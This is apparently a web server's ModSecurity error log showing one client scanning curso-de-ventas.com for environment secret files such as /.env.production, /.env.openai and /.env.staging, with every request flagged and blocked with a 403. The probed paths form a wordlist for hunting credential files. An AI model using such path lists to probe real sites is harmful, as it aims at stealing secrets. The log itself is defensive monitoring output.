[Tue Oct 27 09:07:42.058150 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auCiHiK9f-ffgwd-vVTKIQAAAAE"]
[Tue Oct 27 09:07:42.058298 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auCiHiK9f-ffgwd-vVTKIQAAAAE"]
[Tue Oct 27 09:07:42.058533 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auCiHiK9f-ffgwd-vVTKIQAAAAE"]
[Tue Oct 27 09:07:42.059466 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auCiHkyUSZ-HOP4isatNDgAAABY"]
[Tue Oct 27 09:07:42.059597 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auCiHkyUSZ-HOP4isatNDgAAABY"]
[Tue Oct 27 09:07:42.059822 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auCiHkyUSZ-HOP4isatNDgAAABY"]
[Tue Oct 27 09:07:42.060750 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auCiHivHqw5XD_QUjlp8_AAAAA4"]
[Tue Oct 27 09:07:42.060873 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auCiHtlxVzpWq3t5phLIjwAAAA8"]
[Tue Oct 27 09:07:42.060889 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auCiHivHqw5XD_QUjlp8_AAAAA4"]
[Tue Oct 27 09:07:42.061023 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auCiHtlxVzpWq3t5phLIjwAAAA8"]
[Tue Oct 27 09:07:42.061140 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auCiHivHqw5XD_QUjlp8_AAAAA4"]
[Tue Oct 27 09:07:42.061316 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auCiHtlxVzpWq3t5phLIjwAAAA8"]
[Tue Oct 27 09:07:42.062401 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auCiHrL0NGPtr6217jDWhgAAAAA"]
[Tue Oct 27 09:07:42.062552 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auCiHrL0NGPtr6217jDWhgAAAAA"]
[Tue Oct 27 09:07:42.062788 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auCiHrL0NGPtr6217jDWhgAAAAA"]
[Tue Oct 27 09:07:42.065504 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auCiHmCe8-MB-b_EgcUqmQAAAB8"]
[Tue Oct 27 09:07:42.065649 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auCiHmCe8-MB-b_EgcUqmQAAAB8"]
[Tue Oct 27 09:07:42.065868 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auCiHmCe8-MB-b_EgcUqmQAAAB8"]
[Tue Oct 27 09:07:42.133191 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auCiHuImPdbb84WcZtcWIwAAAAM"]
[Tue Oct 27 09:07:42.133427 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auCiHuImPdbb84WcZtcWIwAAAAM"]
[Tue Oct 27 09:07:42.133761 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auCiHuImPdbb84WcZtcWIwAAAAM"]
[Tue Oct 27 09:07:42.134724 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auCiHiK9f-ffgwd-vVTKIgAAAAE"]
[Tue Oct 27 09:07:42.134855 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auCiHiK9f-ffgwd-vVTKIgAAAAE"]
[Tue Oct 27 09:07:42.135079 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auCiHiK9f-ffgwd-vVTKIgAAAAE"]
[Tue Oct 27 09:07:42.136004 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auCiHkyUSZ-HOP4isatNDwAAABY"]
[Tue Oct 27 09:07:42.136147 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auCiHkyUSZ-HOP4isatNDwAAABY"]
[Tue Oct 27 09:07:42.136454 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auCiHkyUSZ-HOP4isatNDwAAABY"]
[Tue Oct 27 09:07:42.137343 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auCiHivHqw5XD_QUjlp8_QAAAA4"]
[Tue Oct 27 09:07:42.137473 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auCiHivHqw5XD_QUjlp8_QAAAA4"]
[Tue Oct 27 09:07:42.137696 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auCiHivHqw5XD_QUjlp8_QAAAA4"]
[Tue Oct 27 09:07:42.137833 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auCiHtlxVzpWq3t5phLIkAAAAA8"]
[Tue Oct 27 09:07:42.137982 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auCiHtlxVzpWq3t5phLIkAAAAA8"]
[Tue Oct 27 09:07:42.138244 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auCiHtlxVzpWq3t5phLIkAAAAA8"]
[Tue Oct 27 09:07:42.139087 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auCiHrL0NGPtr6217jDWhwAAAAA"]
[Tue Oct 27 09:07:42.139234 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auCiHrL0NGPtr6217jDWhwAAAAA"]
[Tue Oct 27 09:07:42.139454 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auCiHrL0NGPtr6217jDWhwAAAAA"]
[Tue Oct 27 09:07:42.141628 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auCiHmCe8-MB-b_EgcUqmgAAAB8"]
[Tue Oct 27 09:07:42.141760 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auCiHmCe8-MB-b_EgcUqmgAAAB8"]
[Tue Oct 27 09:07:42.141996 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auCiHmCe8-MB-b_EgcUqmgAAAB8"]
